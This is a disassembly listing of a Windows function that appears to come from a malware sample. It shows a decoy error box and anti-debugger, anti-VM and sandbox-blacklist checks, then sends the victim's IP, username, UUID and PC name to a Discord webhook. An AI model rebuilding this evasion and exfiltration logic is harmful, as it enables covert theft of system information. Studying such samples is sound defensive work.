Function at 0x14000d010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x140019080]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
xor r15d, r15d
lea ecx, [r15 + 0x28]
call fcn.140010c2c
mov r9, rax
lea r12, str.Shimmer_Overlay_v3
test rax, rax
je 0x14000d08a
mov dword [rax], 0x10
mov qword [rax + 8], r12
lea rax, str.Your_CPU_does_not_support_AVX2__and_is_incompatible_with_this_program.
mov qword [r9 + 0x10], rax
mov qword [r9 + 0x18], r15
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [r9 + 0x20], rax
jmp 0x14000d08d
mov r9, r15
mov qword [rbp + 0x20], r9
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r8, [0x1400079d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000de53
lea rcx, [rbp - 0x40]
call fcn.14000fdf0
nop
xor bl, bl
lea rcx, [rbp - 0x40]
call fcn.14000f0f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000d0ea
mov bl, 1
lea rdx, str.Debugger_detected__n
jmp 0x14000d0f1
lea rdx, str.No_debugger_detected._n
call fcn.140006d10
lea rcx, [rbp - 0x40]
call fcn.14000f570
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000d115
mov bl, 1
lea rdx, str.Virtual_Machine_detected__n
jmp 0x14000d11c
lea rdx, str.No_Virtual_Machine_detected._n
call fcn.140006d10
lea rcx, [rbp + 0xc8]
call fcn.14000eae0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp byte [rbp + 0xe8], 0
je 0x14000d149
mov bl, 1
lea rdx, str.Blacklisted_user_detected__n
jmp 0x14000d150
lea rdx, str.No_blacklisted_user_detected._n
call fcn.140006d10
lea rcx, [rbp + 0xa0]
call fcn.14000e550
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp byte [rbp + 0xc4], 0
je 0x14000d17d
mov bl, 1
lea rdx, str.Blacklisted_UUID_detected__n
jmp 0x14000d184
lea rdx, str.No_blacklisted_UUID_detected._n
call fcn.140006d10
lea rcx, [rbp + 0x1b0]
call fcn.14000def0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp byte [rbp + 0x1d4], 0
je 0x14000d1b4
lea rdx, str.Blacklisted_PC_Name_detected__n
call fcn.140006d10
jmp 0x14000d1c4
lea rdx, str.No_blacklisted_PC_Name_detected._n
call fcn.140006d10
test bl, bl
je 0x14000d21f
lea rdx, str.At_least_one_check_failed__Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
cmp dword [rsp + 0x58], 0
je 0x14000de63
call sub.MSVCP140.dll__Thrd_id
cmp dword [rsp + 0x58], eax
je 0x14000de6e
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x20], xmm0
xor edx, edx
lea rcx, [rbp + 0x20]
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x14000de79
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
lea esi, [rax + 1]
jmp 0x14000dc65
lea rdx, str.All_checks_passed__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
call fcn.1400104e0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov esi, 1
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], 0xf
mov word [rbp + 0x20], 0x2f
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 0xd
mov qword [rbp + 0x58], 0xf
movsd xmm0, qword [str.icanhazip.com]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x1400145c8]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x1400145cc]
mov byte [rbp + 0x4c], al
mov byte [rbp + 0x4d], 0
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x60]
mov rcx, r14
call fcn.140010040
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000d2e3
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d2de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010c68
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000d331
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d32c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d32c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010c68
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
lea rdi, [rbp + 0x60]
mov r8, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
cmova rdi, r8
add rdi, qword [rbp + 0x70]
lea rbx, [rbp + 0x60]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp + 0x70]
lea rcx, [rbp + 0x60]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xa
mov rdx, rbx
call fcn.140010a70
mov r8, rax
cmp rax, rbx
je 0x14000d3a6
inc rax
cmp rax, rbx
je 0x14000d3a6
movzx ecx, byte [rax]
cmp cl, 0xa
je 0x14000d39e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000d390
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rbx, qword [rbp + 0x70]
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rcx, qword [rbp + 0x60]
add rcx, r9
sub rbx, rdi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x70], rbx
lea rdx, str.IP:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
mov rcx, rax
call fcn.140007780
mov rcx, rax
lea rdx, [0x1400145d0]
call fcn.140006d10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov ecx, 0x20
call fcn.140010c2c
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e8], 0x13
mov qword [rbp + 0x1f0], 0x1f
movups xmm0, xmmword [str.https:__discord.com]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400145f0]
mov word [rax + 0x10], cx
movzx ecx, byte [0x1400145f2]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
mov rax, qword [0x140019010]
cmp rax, 0x13
jb 0x14000de84
add rax, 0xffffffffffffffed
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [section..data]
cmp qword [0x140019018], 0xf
cmova rdx, qword [section..data]
add rdx, 0x13
lea rcx, [rbp + 0x80]
call fcn.140007150
nop
lea rdx, str.Webhook_URL:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
mov rcx, rax
call fcn.140007780
mov rcx, rax
lea rdx, [0x1400145d0]
call fcn.140006d10
lea rax, [rbp - 0x70]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], 0
xor eax, eax
mov qword [rbp - 0x68], rax
xor edx, edx
lea rcx, [rbp - 0x68]
call fcn.14000ada0
mov byte [rbp - 0x70], 3
mov ecx, 0x20
call fcn.140010c2c
nop
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 8
mov qword [rax + 0x18], 0xf
movabs rcx, 0x656d616e72657375
mov qword [rax], rcx
mov byte [rax + 8], 0
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], r15
lea rax, [rbp - 0x58]
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x58], 0
xor eax, eax
mov qword [rbp - 0x50], rax
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.14000ada0
mov byte [rbp - 0x58], 3
mov ecx, 0x20
call fcn.140010c2c
mov rbx, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
mov r8d, 0x12
mov rdx, r12
mov rcx, rbx
call fcn.140007150
nop
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], r15
lea rax, [rbp - 0x70]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x28], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x200]
call fcn.1400091d0
mov qword [rbp + 0x210], r15
lea rax, [rsp + 0x60]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0
xor eax, eax
mov qword [rsp + 0x68], rax
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.14000ada0
mov byte [rsp + 0x60], 3
mov ecx, 0x20
call fcn.140010c2c
mov rbx, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
mov r8d, 0xa
lea rdx, str.avatar_url
mov rcx, rbx
call fcn.140007150
nop
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], r15
lea rax, [rsp + 0x78]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x78], 0
xor eax, eax
mov qword [rbp - 0x80], rax
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.14000ada0
mov byte [rsp + 0x78], 3
mov ecx, 0x20
call fcn.140010c2c
mov rbx, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
xor r8d, r8d
lea rdx, [0x140013e6d]
mov rcx, rbx
call fcn.140007150
nop
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], r15
lea rax, [rsp + 0x60]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x70]
mov qword [rbp + 0x28], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x218]
call fcn.1400091d0
mov qword [rbp + 0x228], r15
lea rax, [rbp - 0x18]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x18], 0
xor eax, eax
mov qword [rbp - 0x10], rax
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.14000ada0
mov byte [rbp - 0x18], 3
mov ecx, 0x20
call fcn.140010c2c
mov rbx, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
mov r8d, 7
lea rdx, str.content
mov rcx, rbx
call fcn.140007150
nop
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], r15
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x70]
sub rax, rcx
cmp rax, 0x27
jb 0x14000de4d
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x27
lea r9, str.Received_connection_from_IP_Address__
lea r8, [rbp + 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x250]
call fcn.140009700
nop
mov r8d, 3
lea rdx, [0x140014654]
lea rcx, [rbp + 0x250]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x12
lea rdx, str._nSystem_Username:
lea rcx, [rbp + 0x190]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rbp + 0x170]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0xe
lea rdx, str._nSystem_UUID:
lea rcx, [rbp + 0x150]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp + 0x130]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0xa
lea rdx, str._nPC_Name:
lea rcx, [rbp + 0x110]
call fcn.14000ac50
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x290]
call fcn.140006f70
nop
mov rdx, rax
lea rcx, [rbp]
call fcn.140006c60
nop
lea rax, [rbp - 0x18]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x230]
call fcn.140009830
nop
lea rax, [rbp + 0x200]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x248]
mov qword [rbp + 0x28], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x28]
call fcn.1400091d0
nop
lea r9, [fcn.140009ec0]
mov edx, 0x18
lea r8d, [rdx - 0x15]
lea rcx, [rbp + 0x200]
call fcn.140010b5c
nop
lea r9, [fcn.140009ec0]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x18]
call fcn.140010b5c
nop
lea rcx, [rbp + 0x290]
call fcn.140009ee0
nop
lea rcx, [rbp + 0xf0]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x110]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x130]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x150]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x170]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x190]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x250]
call fcn.140009ee0
nop
lea r9, [fcn.140009ec0]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x60]
call fcn.140010b5c
nop
lea r9, [fcn.140009ec0]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x70]
call fcn.140010b5c
lea rdx, str.Data:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
mov rcx, rax
lea rdx, [rbp - 0x28]
call fcn.14000a340
mov rcx, rax
lea rdx, [0x1400145d0]
call fcn.140006d10
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 0xffffffff
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x28]
call fcn.14000b2a0
mov rbx, rax
lea rdx, str.discord.com
lea rcx, [rbp + 0x40]
call fcn.1400096c0
nop
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x270]
mov rcx, r14
call fcn.140010580
nop
lea rcx, [rbp + 0x40]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x20]
call fcn.140009ee0
lea rdx, str.Response:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006d10
mov rcx, rax
lea rdx, [rbp + 0x270]
call fcn.140006cf0
mov rcx, rax
lea rdx, [0x1400145d0]
call fcn.140006d10
lea rcx, [rsp + 0x50]
call fcn.14000ca20
mov esi, r15d
lea rcx, [rbp + 0x270]
call fcn.140009ee0
nop
lea rcx, [rbp - 0x28]
call fcn.140009ec0
nop
lea rcx, [rbp + 0x80]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x1d8]
call fcn.140009ee0
nop
lea rcx, [rbp + 0x60]
call fcn.140009ee0
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x14000dca9
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dca4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dca4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010c68
movdqa xmm0, xmmword [0x140014d80]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000dd04
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dcff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dcff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010c68
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14000dd61
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dd5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010c68
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x14000de0d
mov rdi, qword [rbp - 0x38]
cmp rbx, rdi
je 0x14000dda8
mov rcx, rbx
call fcn.14000fa40
add rbx, 0x110
cmp rbx, rdi
jne 0x14000dd90
mov rbx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x30]
sub rcx, rbx
movabs rax, 0x7878787878787879
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rdx, 0x110
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000ddf9
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ddf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140010c68
mov qword [rbp - 0x40], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
cmp dword [rsp + 0x58], 0
je 0x14000de1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, esi
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140010fc0
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000ab80
nop
mov dword [rsp + 0x58], r15d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.14000abc0
int3